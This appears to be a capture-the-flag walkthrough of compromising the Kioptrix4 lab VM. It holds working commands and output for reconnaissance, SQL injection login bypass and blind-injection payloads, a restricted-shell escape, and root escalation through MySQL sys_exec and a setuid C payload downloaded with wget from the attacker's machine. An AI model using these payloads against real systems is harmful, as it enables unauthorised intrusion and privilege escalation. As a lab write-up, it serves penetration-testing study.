Two methods to gain root privilege:
- via mysql, which running as root, to add current user to admin group
- via setuid(0) to execute program as root
First, find target:
root@kali:# nmap 172.16.219.0/24
Starting Nmap 7.31 ( https://nmap.org ) at 2018-01-18 15:50 PST
Nmap scan report for 172.16.219.1
Host is up (0.00029s latency).
All 1000 scanned ports on 172.16.219.1 are closed
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 172.16.219.2
Host is up (0.00027s latency).
All 1000 scanned ports on 172.16.219.2 are closed
MAC Address: 00:50:56:F6:28:EA (VMware)
Nmap scan report for 172.16.219.173
Host is up (0.00045s latency).
Not shown: 566 closed ports, 430 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:0C:29:14:55:8C (VMware)
Run nmap -n -vvv -T4 -sS -A 172.16.219.173
and got the following info:
OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
Scan SMB service:
root@kali:# enum4linux 172.16.219.173
... ...
user:[nobody] rid:[0x1f5]
user:[robert] rid:[0xbbc]
user:[root] rid:[0x3e8]
user:[john] rid:[0xbba]
user:[loneferret] rid:[0xbb8]
... ...
===========================================
| Share Enumeration on 172.16.219.173 |
===========================================
WARNING: The "syslog" option is deprecated
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.28a]
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.28a]
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
IPC$ IPC IPC Service (Kioptrix4 server (Samba, Ubuntu))
Server Comment
--------- -------
KIOPTRIX4 Kioptrix4 server (Samba, Ubuntu)
Workgroup Master
--------- -------
WORKGROUP KIOPTRIX4
Scan web service:
$ dirb http://172.16.219.173
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Mon Jan 22 12:18:01 2018
URL_BASE: http://172.16.219.173/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://172.16.219.173/ ----
+ http://172.16.219.173/cgi-bin/ (CODE:403|SIZE:329)
==> DIRECTORY: http://172.16.219.173/images/
+ http://172.16.219.173/index (CODE:200|SIZE:1255)
+ http://172.16.219.173/index.php (CODE:200|SIZE:1255)
==> DIRECTORY: http://172.16.219.173/john/
+ http://172.16.219.173/logout (CODE:302|SIZE:0)
+ http://172.16.219.173/member (CODE:302|SIZE:220)
+ http://172.16.219.173/server-status (CODE:403|SIZE:334)
---- Entering directory: http://172.16.219.173/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://172.16.219.173/john/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Mon Jan 22 12:18:04 2018
DOWNLOADED: 4612 - FOUND: 6
Browse to http://172.16.219.173/index.php there's a login page.
From the dirb result we know there's a DIRECTORY: http://172.16.219.173/john/ and from enum4linux result john is a user. Tried to login as john and use 1' or '1'='1
as password.
Successfully logged in. The web app, more specifically, the password field is vulnerable to SQL injection. Now with the password, ssh to the remote server.
root@kali:# ssh [email protected]
The authenticity of host '172.16.219.173 (172.16.219.173)' can't be established.
[email protected]'s password:
Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you don't screw up
Type '?' or 'help' to get the list of allowed commands
john:~$ ls
john:~$ whoami
*** unknown command: whoami
john:~$ sudo /bin/sh
*** forbidden sudo -> sudo /bin/sh
john:~$ sudo su
*** forbidden sudo -> sudo su
john:~$ id
*** unknown command: id
john:~$ ?
cd clear echo exit help ll lpath ls
Note john has limited permissions. This limited shell(lshell) is a python based shell that enables to restrict commands for users. The lshell however can be bypassed.
john:~$ echo os.system('/bin/bash')
john@Kioptrix4:~$ whoami
john
john@Kioptrix4:~$ id
uid=1001(john) gid=1001(john) groups=1001(john)
john@Kioptrix4:~$ ls
john@Kioptrix4:~$ mysql -V
mysql Ver 14.12 Distrib 5.0.51a, for debian-linux-gnu (i486) using readline 5.2
john@Kioptrix4:~$ cat /etc/*-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=8.04
DISTRIB_CODENAME=hardy
DISTRIB_DESCRIPTION="Ubuntu 8.04.3 LTS"
john@Kioptrix4:~$ cat /proc/version
Linux version 2.6.24-24-server (buildd@palmer) (gcc version 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) #1 SMP Tue Jul 7 20:21:17 UTC 2009
john@Kioptrix4:~$
See which program is running as root:
john@Kioptrix4:~$ ps -ef | grep root
root 1 0 0 05:56 ? 00:00:01 /sbin/init
root 2 0 0 05:56 ? 00:00:00 [kthreadd]
root 3 2 0 05:56 ? 00:00:00 [migration/0]
root 4 2 0 05:56 ? 00:00:00 [ksoftirqd/0]
root 5 2 0 05:56 ? 00:00:00 [watchdog/0]
root 6 2 0 05:56 ? 00:00:00 [events/0]
root 7 2 0 05:56 ? 00:00:00 [khelper]
root 41 2 0 05:56 ? 00:00:00 [kblockd/0]
root 44 2 0 05:56 ? 00:00:00 [kacpid]
root 45 2 0 05:56 ? 00:00:00 [kacpi_notify]
root 168 2 0 05:56 ? 00:00:00 [kseriod]
root 207 2 0 05:56 ? 00:00:00 [pdflush]
root 208 2 0 05:56 ? 00:00:00 [pdflush]
root 209 2 0 05:56 ? 00:00:00 [kswapd0]
root 251 2 0 05:56 ? 00:00:00 [aio/0]
root 1433 2 0 05:56 ? 00:00:00 [ata/0]
root 1436 2 0 05:56 ? 00:00:00 [ata_aux]
root 1445 2 0 05:56 ? 00:00:00 [scsi_eh_0]
root 1448 2 0 05:56 ? 00:00:00 [scsi_eh_1]
root 1478 2 0 05:56 ? 00:00:00 [scsi_eh_2]
root 1489 2 0 05:56 ? 00:00:00 [ksuspend_usbd]
root 1496 2 0 05:56 ? 00:00:00 [khubd]
root 2517 2 0 05:56 ? 00:00:00 [kjournald]
root 2684 1 0 05:56 ? 00:00:00 /sbin/udevd --daemon
root 2956 2 0 05:56 ? 00:00:00 [kgameportd]
root 3103 2 0 05:56 ? 00:00:00 [kpsmoused]
root 4460 1 0 05:56 tty4 00:00:00 /sbin/getty 38400 tty4
root 4463 1 0 05:56 tty5 00:00:00 /sbin/getty 38400 tty5
root 4469 1 0 05:56 tty2 00:00:00 /sbin/getty 38400 tty2
root 4472 1 0 05:56 tty3 00:00:00 /sbin/getty 38400 tty3
root 4477 1 0 05:56 tty6 00:00:00 /sbin/getty 38400 tty6
root 4528 1 0 05:56 ? 00:00:00 /bin/dd bs 1 if /proc/kmsg of /v
root 4549 1 0 05:56 ? 00:00:00 /usr/sbin/sshd
root 4605 1 0 05:56 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
root 4647 4605 0 05:56 ? 00:00:07 /usr/sbin/mysqld --basedir=/usr
root 4649 4605 0 05:56 ? 00:00:00 logger -p daemon.err -t mysqld_s
root 4722 1 0 05:56 ? 00:00:00 /usr/sbin/nmbd -D
root 4724 1 0 05:56 ? 00:00:00 /usr/sbin/smbd -D
root 4738 1 0 05:56 ? 00:00:00 /usr/sbin/winbindd
root 4745 4738 0 05:56 ? 00:00:00 /usr/sbin/winbindd
root 4770 1 0 05:56 ? 00:00:00 /usr/sbin/cron
root 4792 1 0 05:56 ? 00:00:00 /usr/sbin/apache2 -k start
root 4823 4738 0 05:56 ? 00:00:00 /usr/sbin/winbindd
root 4826 4738 0 05:56 ? 00:00:00 /usr/sbin/winbindd
root 4830 4724 0 05:56 ? 00:00:00 /usr/sbin/smbd -D
root 4851 1 0 05:56 tty1 00:00:00 /sbin/getty 38400 tty1
root 5565 4549 0 08:53 ? 00:00:00 sshd: john [priv]
john 5706 5636 0 09:44 pts/0 00:00:00 grep root
Note that mysql is running as root. View the checklogin.php file and the file contains the following info:
john@Kioptrix4:~$ cat /var/www/checklogin.php
<?php
ob_start();
$host="localhost"; // Host name
$username="root"; // Mysql username
$password=""; // Mysql password
$db_name="members"; // Database name
$tbl_name="members"; // Table name
Woot! No password for the sql account. Now we need to utilize the command execution with MySQL UDF.
lib_mysqludf_sys is a UDF library with functions to interact with the operating system. These functions allow you to interact with the execution environment in which MySQL runs.
lib_mysqludf_sys implements tree different functions to interact with the underlying environment:
- sys_exec: executes an arbitrary command, and can thus be used to launch an external application.
- sys_get: gets the value of an environment variable.
- sys_set: create an environment variable, or update the value of an existing environment variable.
john@Kioptrix4:~$ mysql -h localhost -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 37696
Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> select sys_exec('usermod -a -G admin john')
-> ;
+--------------------------------------+
| sys_exec('usermod -a -G admin john') |
+--------------------------------------+
| NULL |
+--------------------------------------+
1 row in set (0.04 sec)
mysql> exit
Bye
john@Kioptrix4:~$ sudo su
[sudo] password for john:
root@Kioptrix4:/home/john# whoami
root
++++++
Trying to get root privilege via setting suid.
Note the remote server is 32 bit, so the exploit program must be compiled in a 32bit system. I used 32bit kali.
john@Kioptrix4:/tmp$ uname -a
Linux Kioptrix4 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 GNU/Linux
payload.c file:
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
setuid(0);
system("usermod -a -G admin john");
}
Copying file to reomote server is forbidden. So we have to think another method.
root@kali:~$ scp exploit [email protected]:/tmp
The authenticity of host '172.16.219.173 (172.16.219.173)' can't be established.
RSA key fingerprint is SHA256:xxx.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.16.219.173' (RSA) to the list of known hosts.
[email protected]'s password:
*** forbidden path over SSH: "scp -t /tmp"
This incident has been reported.
lost connection
Use the SimpleHTTPServer to transfer the compiled file.
Inside kali box:
root@kali:~$ python -m SimpleHTTPServer 8000
Serving HTTP on 0.0.0.0 port 8000 ...
127.0.0.1 - - [23/Jan/2018 15:28:34] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [23/Jan/2018 15:28:34] code 404, message File not found
127.0.0.1 - - [23/Jan/2018 15:28:34] "GET /favicon.ico HTTP/1.1" 404 -
127.0.0.1 - - [23/Jan/2018 15:28:34] code 404, message File not found
127.0.0.1 - - [23/Jan/2018 15:28:34] "GET /favicon.ico HTTP/1.1" 404 -
172.16.219.158 - - [23/Jan/2018 15:28:42] "GET / HTTP/1.1" 200 -
172.16.219.158 - - [23/Jan/2018 15:28:42] code 404, message File not found
172.16.219.158 - - [23/Jan/2018 15:28:42] "GET /favicon.ico HTTP/1.1" 404 -
172.16.219.158 - - [23/Jan/2018 15:28:42] code 404, message File not found
172.16.219.158 - - [23/Jan/2018 15:28:42] "GET /favicon.ico HTTP/1.1" 404 -
172.16.219.173 - - [23/Jan/2018 15:29:28] "GET /exploit HTTP/1.0" 200 -
Inside the remote box:
john@Kioptrix4:/tmp$ wget http://172.16.219.158:8000/Downloads/setuid2
--19:52:14-- http://172.16.219.158:8000/Downloads/setuid2
=> `setuid2'
Connecting to 172.16.219.158:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7,456 (7.3K) [application/octet-stream]
100%[=================================================>] 7,456 --.--K/s
19:52:14 (7.74 MB/s) - `setuid2' saved [7456/7456]
john@Kioptrix4:/tmp$ ls -l
total 16
-rw-r--r-- 1 john john 7456 2018-01-23 19:52 setuid2
john@Kioptrix4:/tmp$ sudo chown root setuid2
john@Kioptrix4:/tmp$ sudo chmod 6755 setuid2
john@Kioptrix4:/tmp$ ls -l
total 16
-rwsr-sr-x 1 root john 7456 2018-01-23 19:52 setuid2
john@Kioptrix4:/tmp$ ./setuid2
john@Kioptrix4:/tmp$ sudo su
root@Kioptrix4:/tmp# whoami
root
root@Kioptrix4:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@Kioptrix4:/tmp#
Woot! I'm root now.
Summary:
sudo chown root setuid2 //this change the owner to root
sudo chmod 6755 setuid2 //this set the file permission
++++++++
The web app is vulnerable to SQL injection, so we can also try some blind injection:
Username: John Password: MyNameIsJohn' and (select substr(version(),1,1))=5#
Got log in. So the first character of the mysql database version is 5. Similarly, we can get other characters. Since the database xx.xx.xx.xx, the ascii of '.' is 46.
?id=1' and ascii(substr(version(),2,1))<ascii(1)--+
returns true.?id=1' AND (ascii(substr(version(),2,1))=46)--+
or?id=1' AND (ascii(substr(version(),2,1))=ascii('.'))--+
returns true.
Valid queries:
MyNameIsJohn' and (select substr(version(),1,1))=5#
MyNameIsJohn' and (ascii(substr(version(),2,1))=ascii('.'))#
MyNameIsJohn' and (ascii(substr(version(),3,1))=ascii('0'))#
MyNameIsJohn' and (ascii(substr(version(),4,1))=ascii('.'))#
MyNameIsJohn' and (select substr(version(),5,1))=5#
MyNameIsJohn' and (select substr(version(),6,1))=1#
MyNameIsJohn' and (ascii(substr(version(),7,1))=97)#
So the sql version is 5.0.510. Similarly we can use blind injection to get the database name, table name, columns, values.